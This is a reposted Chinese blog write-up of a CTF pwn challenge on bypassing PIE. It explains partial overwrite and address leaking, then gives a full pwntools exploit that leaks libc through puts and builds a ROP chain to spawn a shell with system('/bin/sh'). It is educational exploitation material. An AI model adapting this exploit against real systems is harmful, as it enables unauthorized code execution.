码迷,mamicode.com
首页 > 其他好文 > 详细

PIE保护绕过

时间:2019-09-14 19:10:36      阅读:376      评论:0      收藏:0      [点我收藏+]

标签:结果   adl   用户名   readline   影响   mat   img   col   绕过   

(一):partial write

开了PIE保护的程序,其低12位地址是固定的,所以我们可以采用partial write。但是我们不能写入一个半字节,所以选择写入两个字节,倒数地位进行爆破,范围是0到f,例如:

list1 = ["x05","x15","x25","x35","x45","x55","x65","x75","x85","x95","xa5","xb5","xc5","xd5","xe5","xf5"]

列表里是第二位字节可能的值,使用循环进行爆破。

(二):泄露地址

PIE 保护机制,影响的是程序加载的基址,并不会影响指令间的相对地址,因此如果我们能够泄露程序的某个地址,就可以通过修改偏移获得程序其它函数的地址。

这是浙江省省赛的一道pwn题,首先查看保护:

技术图片

 发现只有栈溢出没开。

用IDA查看反汇编代码,发现由两处可以输入的地方:

技术图片

 第一处的输入用户名时候

技术图片

 第二处则是在输入算式结果的时候

经过分析发现,在输入用户名时函数并不会给字符串末尾加上 ‘\0‘ ,而 puts() 函数是在遇到 ‘\0‘ 时结束输出,故我们可以利用这一特性泄露内存。可以采用填充8个字节或16个字节来泄露内存。在使用填充16个字节泄露内存时应注意是 p.send(‘A‘*16) 而非 p.sendline(‘A‘*16),否则多出来的 ‘\n‘ 会影响接下来程序的执行。

 

第二处输入存在明显的栈溢出,故我们可以利用此处构造 payload。完整的exploit如下:

 

# -*- coding:utf-8 -*-
from pwn import *
libc = ELF(./libc.so.6)

context.log_level = debug
p = process(./uninit)
# libc=ELF(./libc.so.6)
gdb.attach(p)
p.sendafter("name:", A*16) # 发送填充16个字节
p.recvuntil(A*16)

PIE_addr = p.recvuntil("\n")
PIE_addr = u64(PIE_addr[:-1].ljust(8, \x00)) #用u64()解包地址
# PIE_addr=u64(p.readline()[:-1].ljust(8,\x00))
log.success("PIE_addr ==> {:#x}".format(PIE_addr))

base1 = PIE_addr - (0x55e5dce05b39-0x000055e5dce05000) #计算程序加载基地址

pop_rdi_addr = base1 + 0x0000000000000fd3 # pop rdi;的地址,用于构造puts和system函数的参数
puts_plt = base1 + 0x940
offset = 0x30 + 0x8 #覆盖到栈底的填充字节
puts_got = base1 + 0x201F60
start_addr = base1 + 0x9c0 #程序起始运行处的地址
payload = offset*A + p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt)
payload += p64(start_addr)
payload = payload.ljust(0x400, A)
#gdb.attach(p)
p.recvuntil("Tell me count of game:")
p.sendline(1)

p.recvuntil("Answer:")
p.send(payload)
puts_addr = u64(p.recv(6).ljust(8,\x00))

base2=puts_addr-(0x7ff149172690-0x00007ff149103000) #libc加载基地址

log.success("puts_addr ==> {:#x}".format(puts_addr))
log.success("base2 ==> {:#x}".format(base2))

system_addr=libc.symbols[system]+base2 #system函数的地址
bin_sh_addr=next(libc.search(/bin/sh))+base2 #‘/bin/sh’的地址
log.success("bin_sh_addr ==> {:#x}".format(bin_sh_addr))
log.success("system_addr ==> {:#x}".format(system_addr))

payload2=offset*A+p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(system_addr)
payload2+=p64(start_addr)
payload2=payload2.ljust(0x400,\x00) #此处用‘\x00’填充是考虑到调用system时需要的环境变量

p.sendlineafter("name:",A*8)
p.sendlineafter("game:",1)
p.sendafter("Answer:",payload2)

p.interactive("countfatcode $")

 (三):vdso/vsyscall

尚待补充

PIE保护绕过

标签:结果   adl   用户名   readline   影响   mat   img   col   绕过   

原文地址:https://www.cnblogs.com/countfatcode/p/11519713.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!